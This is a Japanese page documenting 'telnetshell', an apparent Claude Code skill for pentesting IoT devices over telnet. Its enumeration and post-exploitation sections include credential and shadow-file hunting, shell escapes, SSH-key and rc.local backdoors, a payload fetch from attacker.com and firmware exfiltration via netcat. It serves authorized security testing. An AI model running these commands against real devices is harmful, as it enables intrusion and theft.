telnetshell について
Telnet でアクセスできる IoT デバイスのシェルを扱う、セキュリティテスト向けスキルです。Python ヘルパーで対話操作やコマンド実行を行い、プロンプト検出、出力整形、セッション記録に対応します。
主な機能
- 01Telnet コマンドと対話モード
- 02ファイルからの一括コマンド実行
- 03プロンプト検出とタイムアウト処理
- 04整形済み出力と JSON 出力
- 05セッションログの記録
活用シーン
- 01許可を得た IoT デバイスの列挙
- 02デバイスのシステム・ネットワーク情報の確認
- 03スクリプトによる再現可能なセキュリティ検査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ brownfinesecurity/ iothackbot --skill telnetshellインストール後、Claude Code で/telnetshellを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
enum_files.txtenum_network.txtenum_security.txtenum_system.txtexamples.mdOBSERVING_SESSIONS.mdtelnet_helper.py詳細
IoT Telnet シェル(telnetshell)
このスキルを使用すると、セキュリティテストや侵入テストの作業で、telnet 経由でアクセスできる IoT デバイスのシェルを操作できます。認証なしのシェル、弱い認証のテスト、デバイスの列挙、侵入後の活動に対応しています。
前提条件
- pexpect ライブラリを含む Python 3(
pip install pexpectまたはsudo pacman -S python-pexpect) - システムに telnet クライアントがインストールされていること(Arch の場合は
sudo pacman -S inetutils) - 対象デバイスの telnet ポートへのネットワークアクセス
推奨される方法:Telnet ヘルパースクリプト
重要:このスキルには、telnet 通信のためのシンプルで信頼性の高いインターフェースを提供する Python ヘルパースクリプト(telnet_helper.py)が含まれています。IoT デバイスを操作する際は、この方法を推奨します。
デフォルトのセッションログ
Claude が実行するすべてのコマンドは、デフォルトで /tmp/telnet_session.log に記録されます。
Claude の動作をリアルタイムで確認するには:
# In a separate terminal, run:
tail -f /tmp/telnet_session.log
これにより、接続に干渉することなく、telnet のすべての入出力を発生時に確認できます。
Telnet ヘルパーを使う理由
ヘルパースクリプトを使用すると、telnet を直接使う場合に発生する多くの問題を解決できます。
- クリーンな出力:コマンドのエコー、プロンプト、ANSI コードを自動的に削除します
- プロンプト検出:デバイスのプロンプトを自動的に検出して待機します
- タイムアウト処理:任意の待機時間を使わず、タイムアウトを適切に管理します
- 簡単なスクリプト作成:単一コマンドや一括処理に使えるシンプルなコマンドラインインターフェース
- セッションログ:確認用にすべての入出力を
/tmp/telnet_session.logに記録します - 信頼性:TTY 要件やバックグラウンドプロセスに関する問題がありません
- JSON 出力:プログラムによる解析やツールの連携に利用できます
Telnet ヘルパーを使ったクイックスタート
単一コマンド:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
カスタムポート:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
カスタムプロンプトを指定する場合(既知のデバイスに推奨):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --prompt "^/ [#\$]" --command "ifconfig"
対話モード:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
ファイルからの一括コマンド実行:
# Create a file with commands (one per line)
echo -e "uname -a\ncat /proc/version\nifconfig\nps" > commands.txt
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --script commands.txt
JSON 出力(解析用):
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a" --json
デバッグモード:
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "ls" --debug
セッションログ(確認用):
# Terminal 1 - Run with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log
注記: telnet セッションの監視方法について詳しくは、OBSERVING_SESSIONS.md を参照してください。
初期のデバイス識別、BusyBox の検出、システム全体の列挙、SUID の探索、ハードコードされた認証情報の発見について、実際に手順を追って説明した例は examples.md を参照してください。
Telnet ヘルパーのオプション
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
Connection Options:
--host, -H HOST Target host IP or hostname (required)
--port, -P PORT Telnet port (default: 23)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
--debug Show debug information
よくあるプロンプトのパターン
ヘルパースクリプトには一般的なプロンプトのパターンが含まれていますが、カスタムのパターンを指定することもできます。
# BusyBox shell (common on IoT)
--prompt "/\s*[#\$]\s*$"
# Standard root/user prompts
--prompt "^[#\$]\s*$"
# Custom device
--prompt "^MyDevice>\s*$"
# Uniview cameras
--prompt "^User@[^>]+>\s*$"
Telnet ヘルパーを使ったデバイス列挙の例
以下は、デバイスを安全に列挙する完全な例です。
# Set variables for convenience
HELPER="python3 .claude/skills/telnetshell/telnet_helper.py"
HOST="192.168.1.100"
PORT="2222"
LOGFILE="/tmp/telnet_session.log"
# System information
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "uname -a"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/version"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /proc/cpuinfo"
# Check for BusyBox
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "busybox"
# Network configuration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ifconfig"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "route -n"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "netstat -tulpn"
# Process listing (may need longer timeout)
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --timeout 5 --command "ps aux"
# File system exploration
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "ls -la /"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "mount"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "df -h"
# Security assessment
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "cat /etc/passwd"
$HELPER --host $HOST --port $PORT --logfile "$LOGFILE" --command "find / -perm -4000 2>/dev/null"
Claude Code に関する重要事項:このスキルを使う際は、ユーザーが tail -f /tmp/telnet_session.log で動作を監視できるよう、すべてのコマンドに必ず --logfile /tmp/telnet_session.log を含めてください。
手順
1. 接続の設定
デフォルトの接続設定:
- ポート:23(標準の telnet ポート。
--portで変更できます) - タイムアウト:3 秒(
--timeoutで変更できます) - ログ記録:デフォルトでは
/tmp/telnet_session.log
IoT デバイスでよく使われる telnet ポート:
- 23:標準の telnet ポート
- 2222:代替 telnet ポート(カメラでよく使用されます)
- 8023:代替 telnet ポート
- カスタムポート:デバイスのドキュメントまたは nmap スキャンの結果を確認してください
2. BusyBox シェル(ほとんどの IoT デバイス)
重要:IoT デバイスの大半は、組み込みシステム向けに設計された軽量な Unix ユーティリティ群である BusyBox を使用しています。BusyBox は、コマンド機能が制限された最小限のシェル環境を提供します。
BusyBox の識別:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --list
BusyBox の制限事項:
- 多くの標準 Linux コマンドは簡易版になっている場合があります
- 一般的なフラグやオプションの一部が利用できない場合があります
- タブ補完などの機能は制限されているか、利用できない場合があります
- 通常の Linux 環境で使える一部のエクスプロイト手法は、動作しない場合があります
一般的に利用できる BusyBox コマンド:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
ペネトレーションテストにおける BusyBox 固有の注意事項:
psの出力形式は標準的な Linux と異なる場合があります- 一部の権限昇格手法では、BusyBox に含まれていないコマンドが必要です
- ファイルのアクセス権限は通常どおり機能します(SUID、スティッキービットなど)
- ネットワークツールは多くの場合利用できます(telnet、wget、nc/netcat、ftpget)
- Python/Perl/Ruby は通常利用できません(デバイスのストレージ容量の制約によるものです)
列挙に便利な BusyBox コマンド:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing
3. デバイスの列挙
シェルにアクセスできたら、以下の情報を収集します。
システム情報:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1
ユーザーと権限の情報:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoers
ネットワークサービス:
# Listening services
netstat -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*
注目すべきファイルとディレクトリ:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
4. 権限昇格(root でない場合)
一般的な脆弱性を確認する:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
5. 永続化と追加アクセス
追加のアクセス手段を確立する:
# Add SSH access (if SSH is available)
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
6. ファームウェアの抽出
オフライン分析用にファームウェアを抽出する:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If HTTP server is available:
cd /tmp
busybox httpd -p 8000
# Then download from http://device_ip:8000/rootfs.bin
一般的な IoT デバイスのシナリオ
シナリオ 1:認証なしのシェル
# Connect - drops directly to root shell
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --interactive
# Enumerate and exploit
シナリオ 2:カスタムポートの認証なしシェル
# Many IoT cameras use port 2222
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --interactive
シナリオ 3:パスワード保護されたシェル
# If you encounter a password prompt, the helper will detect it
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
シナリオ 4:制限付きシェルからの脱出
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
セキュリティテストのチェックリスト
- デバイスとファームウェアのバージョンを特定する
- 認証なしでアクセスできないか確認する
- デフォルトまたは脆弱な認証情報をテストする
- ネットワークサービスと開いているポートを列挙する
- ファイル内にハードコードされた認証情報がないか確認する
- コマンドインジェクションの脆弱性をテストする
- ファイルのアクセス権限を確認する(SUID、全ユーザー書き込み可能)
- 既知の CVE がある古いソフトウェアを確認する
- 権限昇格の手段をテストする
- オフライン分析用にファームウェアを抽出する
- スクリーンショットやログを添えて、すべての調査結果を記録する
ベストプラクティス
- セッションは必ず記録する:デフォルトのログファイルは
/tmp/telnet_session.logです - すべてを記録する:コマンド、応答、調査結果をメモします
- バッチスクリプトを使用する:一般的なタスク用の列挙スクリプトを作成します
- デバイスについて調査する:既知の脆弱性、デフォルトの認証情報、一般的な問題を調べます
- 適切な許可を得る:ペネトレーションテストは、自身が所有するデバイス、またはテストの明示的な許可を得たデバイスに対してのみ実施します
- 破壊的なコマンドに注意する:デバイスを起動不能にしたり、データを破損させたりするおそれのあるコマンドは避けます
- セッションを監視する:別のターミナルで
tail -fを使い、動作を確認します
トラブルシューティング
問題:接続が拒否される
- 解決策:telnet サービスが実行中か確認し、ポート番号とファイアウォールのルールを確認します
問題:接続がタイムアウトする
- 解決策:ネットワーク接続を確認し、デバイスの電源が入っているか、および IP アドレスが正しいかを確認します
問題:「Permission denied」と表示される
- 解決策:telnet サービスで認証が必要な可能性があります。デフォルトの認証情報を試します
問題:コマンドがエコーバックされない
- 解決策:
--rawフラグを使用して、フィルタリングされていない出力を表示します
問題:出力が文字化けする、またはプロンプトが正しく検出されない
- 解決策:
--promptフラグを使用し、対象デバイスに合わせたカスタム正規表現パターンを指定します
事前構築済みの列挙スクリプト
このスキルには、一般的なタスク用の事前構築済み列挙スクリプトが含まれています。
enum_system.txt:システム情報の収集enum_network.txt:ネットワーク設定の列挙enum_files.txt:ファイルシステムの調査enum_security.txt:セキュリティに重点を置いた列挙
使用方法:
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script .claude/skills/telnetshell/enum_system.txt
使用例
# Basic connection to standard telnet port
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --command "uname -a"
# Connection to custom port (common for IoT cameras)
python3 .claude/skills/telnetshell/telnet_helper.py --host 192.168.1.100 --port 2222 --command "ls /"
# Interactive session with logging
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--logfile /tmp/camera_session.log \
--interactive
# Batch enumeration
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--port 2222 \
--script enum_system.txt \
--json > results.json
# Long-running command with custom timeout
python3 .claude/skills/telnetshell/telnet_helper.py \
--host 192.168.1.100 \
--timeout 10 \
--command "find / -name '*.conf'"
参考資料
- BusyBox 公式サイト
- BusyBox コマンド一覧
- IoT ペネトレーションテストのリソースと脆弱性データベース
- デバイス固有のドキュメントとデータシート